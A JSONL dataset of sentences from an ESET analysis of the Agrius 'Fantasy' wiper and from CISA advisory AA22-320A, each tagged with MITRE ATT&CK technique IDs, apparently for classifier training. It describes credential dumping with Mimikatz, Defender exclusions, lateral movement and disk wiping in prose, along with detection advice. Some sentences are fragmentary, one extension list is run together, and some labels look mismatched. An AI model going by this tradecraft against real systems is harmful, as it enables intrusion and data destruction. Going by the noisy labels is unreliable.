{"sentence": "Fantasy then writes another batch file, %WINDOWS%\\Temp\\remover.bat, that deletes the Fantasy wiper from disk and then deletes itself.", "labels": ["T1027", "T1059.003"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Then Fantasy wiper sleeps for 30 seconds before rebooting the system with reason code SHTDN_REASON_MAJOR_OTHER (0x00000000) — Other issue.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "It is likely that %SYSTEMDRIVE% recovery is possible.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Victims were observed to be back up and running within a matter of hours.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Attribution to Agrius Much of the code base from Apostle, initially a wiper masquerading as ransomware then updated to actual ransomware, was directly copied to Fantasy and many other functions in Fantasy were only slightly modified from Apostle, a known Agrius tool.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "However, the overall functionality of Fantasy is that of a wiper without any attempt to masquerade as ransomware.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Figure 4 shows the file deletion functions in Fantasy and Apostle, respectively.", "labels": ["T1070.004"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "There are only a few small tweaks between the original function in Apostle and the Fantasy implementation.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "File deletion functions from the Fantasy wiper (top, in red) and Apostle ransomware (bottom, in green) Figure 4.", "labels": ["T1070.004"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Directory listing functions from the Fantasy wiper (top, in red) and Apostle ransomware (bottom, in green)", "labels": ["T1083"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Finally, the GetSubDirectoryFileListRecursive function in Figure 6 is also almost an exact copy.", "labels": ["T1083", "T1106"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Recursive directory listing functions from the Fantasy wiper (top, in red) and Apostle ransomware (bottom, in green)", "labels": ["T1083"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "In addition to the code reuse, we can see remnants of the Apostle execution flow in Fantasy.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "In the original analysis of Apostle, SentinelOne notes that “Proper execution of the ransomware version requires supplying it with a base64 encoded argument containing an XML of an ‘RSAParameters’ object.", "labels": ["T1027"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "This argument is passed on and saved as the Public Key used for the encryption process and is most likely generated on a machine owned by the threat actor.”", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "We can see in the batch file in Figure 7, which Sandals creates on remote systems to launch Fantasy, that the same base64-encoded argument containing an XML of an RSAParameters object is passed to Fantasy at runtime.", "labels": ["T1027", "T1059.003"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Sandals passing to Fantasy the same RSAParameters object as was used by Apostle ransomware Conclusion Since its discovery in 2021, Agrius has been solely focused on destructive operations.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Fantasy is similar in many respects to the previous Agrius wiper, Apostle, that initially masqueraded as ransomware before being rewritten to be actual ransomware.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Fantasy makes no effort to disguise itself as ransomware.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "For any inquiries about our research published on WeLiveSecurity, please contact us at threatintel@eset.com.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "For any inquiries about this service, visit the ESET Threat Intelligence page.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "IoCs SHA-1FilenameDetectionDescription 1A62031BBB2C3F55D44F59917FD32E4ED2041224fantasy35.exeMSIL/KillDisk.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "IFantasy wiper.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "1AAE62ACEE3C04A6728F9EDC3756FABD6E342252host2ip.execleanResolves a hostname to an IP address.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "LsassDumper.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "HImplementation of Mimikatz minidump that dumps credentials from LSASS.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "DB11CBFFE30E0094D6DE48259C5A919C1EB57108registry.batBAT/Agent.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "3228E6BC8C738781176E65EBBC0EB52020A44866secretsdump.pyPython/Impacket.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "APython script that dumps credential hashes.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "XHSandals lateral movement tool and Fantasy spreader.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "MITRE ATT&CK techniques This table was built using version 12 of the MITRE ATT&CK framework.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "TacticIDNameDescription Resource DevelopmentT1587Develop CapabilitiesAgrius builds utility tools to use during an active exploitation process.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "T1587.001Develop Capabilities: MalwareAgrius builds custom malware including wipers (Fantasy) and lateral movement tools (Sandals).", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Windows Command ShellFantasy and Sandals both use batch files that run via the Windows command shell. Privilege EscalationT1134Access Token ManipulationFantasy uses the LookupPrivilegeValue and AdjustTokenPrivilege APIs in advapi32.dll to grant its process token the SeShutdownPrivilege to reboot Windows.", "labels": ["T1059.003", "T1106"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Defense EvasionT1070.006Indicator Removal on Host: TimestompAgrius operators timestomped the compilation timestamps of Fantasy and Sandals.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Credential AccessT1003OS Credential DumpingAgrius operators used several tools to dump OS credentials for use in lateral movement.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Lateral MovementT1021.002Remote Services: SMB/Windows Admin SharesAgrius operators used cached credentials to connect over SMB to systems within an exploited internal network.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "T1570Lateral Tool TransferAgrius operators used Sandals to push batch files over SMB to other systems within an internal network.", "labels": ["T1570"], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "T1561.002Disk WipeFantasy wipes the MBR of the Windows drive and attempts to wipe the OS partition.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "T1561.001Disk Wipe: Disk Content WipeFantasy wipes all disk contents from non-Windows drives that are fixed drives.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "T1529System Shutdown/RebootFantasy reboots the system after completing its disk and data wiping payloads.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Appendix File extensions (682) targeted by Fantasy wiper when not targeting all file extensions.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "File extensions highlighted in yellow (68) are common filename extensions in Windows.", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Notably absent are file extensions dll and sys. $$$blenddrwjspnyfqualsoftcodetdb $dbblend1dsbkb2oabquicken2015backuptex 001blend2dsskbxobjquicken2016backuptga 002blobdtdkc2obkquicken2017backupthm 003bm3dwgkdbodbquickenbackuptib 113bmkdxbkdbxodcqv~tibkp 3dmbookexportdxfkdcodfr3dtif 3dsbpadxgkeyodgraftig 3frbpbem1kfodmrartis 3g2bpmepkkpdxodprattlg 3gpbpnepslayoutodsrawtmp 3prbpserbsqllbfodtrbtmr 73bbpwerflcboebrbctor 7zbsaesmldabakoggrbftrn __abupexelitemodoilrbkttbk __bcexfllxoldrbstxt abcaafbclnkonepkgrdbuci ab4casfbfltxorfre4upk abacbkfbkluaorirgss3av2i abbucbsfbulvlorigrimvb abfcbufbwmostrmvbk abkcdffdbm2otgrmbakvbm abucdrffm3uothrmgbvbox-prev abu1cdr3ffdm4aotproflvcf accdbcdr4fffm4votsrrrvdf accdecdr5fhmapottrtfvfs0 accdrcdr6fhdmaxoyxrw2vmdk accdtcdrwfhfmbfp12rwlvob achcdxflambkp7brwzvpcbackup acpce2flatmbwp7cs3dbvpk acrcelflkamcmetapabsafenotebackupvpp_pc actcenon~flkbmdbpagessas7bdatvrb adbcerflvmdbackuppaksavvtf adicfpfmbmdcpaqsayw01 adscfrforgemddatapassbw3x aeacgmfosmdfpatsbbwallet aficibfpkmdinfopbasbswalletx agdlck9fpsxmefpbbsbuwar aiclassfpxmempbdsdOwav aitclsfshmenupbfsdawb2 alcmfftmbmfwpbjsdcwbb apjcmtfulmigpblsdfwbcat apkconfigfwbackupmkvpbx5scriptsidwbk arccpifxgmlxpbxscriptsiddwbx arch00cppfzammwpcdsidnwin arwcr2fzbmoneywellpctsiewjf as4crawgb1mospdbsimwma asdcrdsgb2movpddsiswmo asfcrtgbpmp3pdfskbwmv ashbakcrwgdbmp4pefsldmwotreplay asmcsghompbpemsldxwpb asmxcsdghsmpegpfislmwpd aspcshgraympgpfxslnwps aspxcslgreympqgephpsmewspak assetcsmgrymrwphp5sn1wxwanam asvcssgs-bckmrwrefphtmlsn2x asvxcsvgzmsgpk7snax11 asxd3dbsphmsipkpasssnsx3f ateda0hbkmsimplsnxxbk atidachkdbmv_plcspfxf avidashkxmydplcspgxis awgdashhplgmynotesbackuppngspixla ba6daziphppnb7potspsxlam ba7dbhtmnbapotmsqbxlk ba8db-journalhtm1nbakpotxsqlxlm ba9db0htmlnbdppamsqlitexlr bacdb3hvplnbdppssqlite3xls backdbaibanknbfppsmsqlitedbxlsb backupdbfibdnbippsxsr2xlsm backup1dbkibknbkpptsrfxlsx backupdbdbsibznbspptmsrrxlt bakdbxicbunbupptxsrtxltm bak2dc2icfncfpqb-backupsrwxltx bak3dcricxsncoprfst4xlw bakxdcsidxndprvst6xml bak~dddiifndapsst7ycbcra bankddociiqnddpsast8yrcbck barddrwincpasnefpsafe3stdyuv batddsinddnfbpsdstgzbfx bayderindexnfcpskstizip bbbdesinprogressnk2pspimagestwztmp bbzdescipdnoppststx~cw bc6designisonoyptbsty bc7dgcitdbnpfptxsum bckdimitlnpspvcsv$ bckpdivxitmnrbakpvhdsv2i bcmdiyiv2inrspysvg bdbdjvuiwdnrwqbaswf bffdmpiwins2qbbsxc bgtdnaj01ns3qbksxd bifdngjarns4qbmsxg bifxdocjavansdqbmbsxi bigdocmjbknsfqbmdsxm bikdocxjdcnsgqbrsxw bk1dotjpanshqbwsyncdb bkcdotmjpentlqbxt12 bkfdotxjpegnwbqbyt13 bkpdovjpgnwbakqdftar bkupdpbjpsnx2qictax bkzdrfjsnxlqsftbk 7 Dec 2022 - 11:30AM", "labels": [], "doc_title": "Fantasy  a new Agrius wiper deployed through a supplychain attack"}
{"sentence": "Original release date: November 16, 2022 | Last revised: November 25, 2022SummaryFrom mid-June through mid-July 2022, CISA conducted an incident response engagement at a Federal Civilian Executive Branch (FCEB) organization where CISA observed suspected advanced persistent threat (APT) activity.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA and the Federal Bureau of Investigation (FBI) assess that the FCEB network was compromised by Iranian government-sponsored APT actors.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA and FBI encourage all organizations with affected VMware systems that did not immediately apply available patches or workarounds to assume compromise and initiate threat hunting activities.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "If suspected initial access or compromise is detected based on IOCs or TTPs described in this CSA, CISA and FBI encourage organizations to assume lateral movement by threat actors, investigate connected systems (including the DC), and audit privileged accounts.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Download the PDF version of this report: pdf, 528 kb.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "For a downloadable copy of IOCs, see: AA22-320A.stix, 1.55 mb.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Technical DetailsNote: This advisory uses the MITRE ATT&CK for Enterprise framework, version 11.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK:registered: tactics and techniques with corresponding mitigation and/or detection recommendations.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Overview In April 2022, CISA conducted retrospective analysis using EINSTEIN—an FCEB-wide intrusion detection system (IDS) operated and monitored by CISA—and identified suspected APT activity on an FCEB organization’s network.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA observed bi-directional traffic between the network and a known malicious IP address associated with exploitation of the Log4Shell vulnerability (CVE-2021-44228) in VMware Horizon servers.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "In coordination with the FCEB organization, CISA initiated threat hunting incident response activities; however, prior to deploying an incident response team, CISA observed additional suspected APT activity.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Based on trusted third-party reporting, is a Lightweight Directory Access Protocol (LDAP) server associated with threat actors exploiting Log4Shell.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Following HTTPS activity, CISA observed a suspected LDAP callback on port 443 to this IP address.", "labels": ["T1071.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA also observed a DNS query for that resolved back to when the victim server was returning this Log4Shell LDAP callback to the actors’ server.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA assessed that this traffic indicated a confirmed compromise based on the successful callback to the indicator and informed the organization of these findings; the organization investigated the activity and found signs of compromise.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "As trusted-third party reporting associated Log4Shell activity from with lateral movement and targeting of DCs, CISA suspected the threat actors had moved laterally and compromised the organization’s DC. From mid-June through mid-July 2022, CISA conducted an onsite incident response engagement and determined that the organization was compromised as early as February 2022, by likely Iranian government-sponsored APT actors who installed XMRig crypto mining software.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The threat actors also moved laterally to the domain controller, compromised credentials, and implanted Ngrok reverse proxies.", "labels": ["T1078", "T1090"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "As part of their initial exploitation, CISA observed a connection to known malicious IP address lasting 17.6 seconds.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors’ exploit payload ran the following PowerShell command [T1059.001] that added an exclusion rule to", "labels": ["T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Windows Defender", "labels": ["T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The exploit payload then downloaded from to [T1105].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "When executed, mde.ps1 downloaded from and removed from the disk [T1070.004]. contained XMRig cryptocurrency mining software and associated configuration files.", "labels": ["T1027"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "This file can create a local user account", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1136.001] and tests for internet connectivity by pinging [T1016.001].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The exploit payload created a Scheduled Task", "labels": ["T1053.005"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Note:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "By exploiting Log4Shell, the actors gained access to a VMware service account with administrator and system level access.", "labels": ["T1078"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "See MAR 10387061-1.v1 for additional information, including IOCs, on these four files.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "After obtaining initial access and installing XMRig on the VMWare Horizon server, the actors used RDP [T1021.001] and the built-in Windows user account", "labels": ["T1021.001", "T1078"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1078.001] to move laterally [TA0008] to a VMware VDI-KMS host.", "labels": ["T1078"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Once the threat actor established themselves on the VDI-KMS host, CISA observed the actors download around 30 megabytes of files from server associated with .", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors downloaded the following tools: PsExec – a Microsoft signed tool for system administrators.", "labels": ["T1003.001", "T1105"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mimikatz – a credential theft tool.", "labels": ["T1003.001", "T1090"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Ngrok – a reverse proxy tool for proxying an internal service out onto an Ngrok domain, which the user can then access at a randomly generated subdomain at .", "labels": ["T1090"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "CISA has observed this tool in use by some commercial products for benign purposes; however, this process bypasses typical firewall controls and may be a potentially unwanted application in production environments.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Ngrok is known to be used for malicious purposes.[1] The threat actors then executed Mimikatz on VDI-KMS to harvest credentials and created a rogue domain administrator account", "labels": ["T1003.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1136.002].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors were able to proxy [T1090] RDP sessions, which were only observable on the local network as outgoing HTTPS port 443 connections to and (the prior domain in reverse).", "labels": ["T1021.001", "T1071.001", "T1090"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[T1098] on several hosts as a backup should the rogue domain administrator account get detected and terminated.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Additionally, the threat actor was observed attempting to dump the Local Security Authority Subsystem Service (LSASS) process [T1003.001] with task manager but this was stopped by additional anti-virus the FCEB organization had installed. MITRE ATT&CK TACTICS AND TECHNIQUES See table 1 for all referenced threat actor tactics and techniques in this advisory, as well as corresponding detection and/or mitigation recommendations.", "labels": ["T1003.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Table 1: Cyber Threat Actors ATT&CK Techniques for Enterprise Initial Access Technique Title ID Use Recommendations Exploit Public-Facing Application T1190 The actors exploited Log4Shell for initial access to the organization’s VMware Horizon server.", "labels": ["T1190"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation/Detection: Use a firewall or web-application firewall and enable logging to prevent and detect potential Log4Shell exploitation attempts [M1050].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[M1016],[M1051]. Execution Technique Title ID Use Recommendation Command and Scripting Interpreter: PowerShell T1059.001 The actors ran PowerShell commands that added an exclusion rule to Windows Defender.", "labels": ["T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors executed PowerShell on the AD to obtain a list of machines on the domain.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Disable or remove PowerShell for non-administrative users [M1042],[M1026] or enable code-signing to execute only signed scripts [M1045].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Employ anti-malware to automatically detect and quarantine malicious scripts [M1049].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Persistence Technique Title ID Use Recommendations Account Manipulation T1098 The actors changed the password for the local administrator account on several hosts.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor events for changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728, and 4670.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for modification of accounts in correlation with other suspicious activity [DS0002].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Create Account: Local Account T1136.001", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor executed commands and arguments for actions that are associated with local account creation, such as net user /add , useradd, and dscl -create", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[DS0002]. Create Account:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Domain Account T1136.002", "labels": ["T1003.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors used Mimikatz to create a rogue domain administrator account.", "labels": ["T1003.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[DS0002]. Scheduled Task/Job: Scheduled Task T1053.005", "labels": ["T1053.005"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors’ exploit payload created Scheduled Task RuntimeBrokerService.exe, which executed RuntimeBroker.exe daily as SYSTEM.", "labels": ["T1053.005"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for newly constructed processes and/or command-lines that execute from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows [DS0009] Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[DS0003]. Valid Accounts: Default Accounts T1078.001", "labels": ["T1078"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Develop rules to monitor logon behavior across default accounts that have been activated or logged into [DS0028]. Defense Evasion Technique Title ID Use Recommendations Impair Defenses: Disable or Modify Tools T1562.001", "labels": ["T1562.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[M1018]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[DS0024]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for telemetry that provides context for modification or deletion of information related to security software processes or services such as Windows Defender definition files in Windows and System log files in Linux [DS0013]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor processes for unexpected termination related to security tools/services [DS0009].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Indicator Removal on Host: File Deletion T1070.004", "labels": ["T1027", "T1070.004"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors removed malicious file mde.ps1 from the dis. Detection:", "labels": ["T1027", "T1070.004"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for unexpected deletion of files from the system [DS0022].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Credential Access Technique Title ID Use Recommendations OS Credential Dumping: LSASS Memory T1003.001", "labels": ["T1003.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "The actors were observed trying to dump LSASS process.", "labels": ["T1003.001"], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Mitigation: With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping [M1043] Mitigation: On Windows 10, enable Attack Surface Reduction (ASR) rules to secure LSASS and prevent credential stealing [M1040].", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "Monitor for unexpected processes interacting with LSASS.exe.", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
{"sentence": "[DS0009]. Detection:", "labels": [], "doc_title": "AA22320A Iranian GovernmentSponsored APT Actors Compromise Federal Network Deploy Crypto Miner Credential Harvester"}
